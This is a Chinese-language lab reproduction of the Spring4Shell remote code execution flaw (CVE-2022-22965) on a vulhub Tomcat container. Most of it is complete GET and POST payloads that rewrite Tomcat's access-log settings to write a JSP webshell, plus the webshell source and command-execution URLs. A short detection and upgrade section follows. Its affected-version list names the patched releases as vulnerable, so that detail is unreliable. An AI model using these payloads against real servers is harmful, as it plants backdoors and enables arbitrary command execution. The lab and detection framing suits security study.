概述
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并注入恶意字段值,从而触发pipeline机制并在任意路径下写入文件。
漏洞检测条件
- 1. Apache Tomcat作为Servlet容器;
- 2. 使用JDK9及以上版本的Spring MVC框架;
- 3. Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class
- 4、使用对象绑定方式(基本类型绑定场景不影响)
影响范围
1、JDK
- JDK >= 9
2、Spring Framework
- 5.3.18+
- 5.2.20+
环境搭建
vulhub一键搭建:
[root@localhost CVE-2022-22965]# docker-compose up -d Starting cve-2022-22965_spring_1 ... done [root@localhost CVE-2022-22965]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 138cc2fc97d7 vulhub/spring-webmvc:5.3.17 "catalina.sh run" 5 hours ago Up 25 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2022-22965_spring_1
访问http://192.168.52.131:8080,界面如下即搭建成功

漏洞复现
利用原理为:利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell
完整的检测利用链
class.module.classLoader.resources.context.parent.pipeline.first.pattern=构建文件的内容 class.module.classLoader.resources.context.parent.pipeline.first.suffix=修改tomcat日志文件后缀 class.module.classLoader.resources.context.parent.pipeline.first.directory=写入文件所在的网站根目录 class.module.classLoader.resources.context.parent.pipeline.first.prefix=写入文件名称 class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=文件日期格式(实际构造为空值即可)
构建payload:
get方式
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.52.131:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
或者可以分五次发送
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di /?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp /?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT /?class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar /?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

网站根目录下成功写入shell

访问http://192.168.52.131:8080/tomcaatwar.jsp?pwd=j&cmd=id可执行任意命令

post方式(数据包格式 Content-Type: application/x-www-form-urlencoded)
data部分:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F&class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
然后任意⼀个请求,在请求头中添加一个name为test的值,即可写⼊webshell
test:<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%>
访问链接:http://192.168.52.131:8080/testfile.jsp?pwd=023&i=ls
exp参考:https://github.com/TheGejr/SpringShell/blob/master/exp.py
注意事项
注意,你需要在利用完成后将
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: 192.168.52.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 18
c2: <%
DNT: 1


应急排查
因为这个漏洞的利用方法会修改目标服务器日志配置,导致目标需要重启服务器才能恢复,且导致tomcat访问日志记录失效,导致无日志可查,但如果有流量设备或者防护设备,可以搜索”class.module.classLoader.resources.context.parent.pipeline.first.“漏洞方式包含get和post
加固建议
根据官方的意思是更新最新版
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement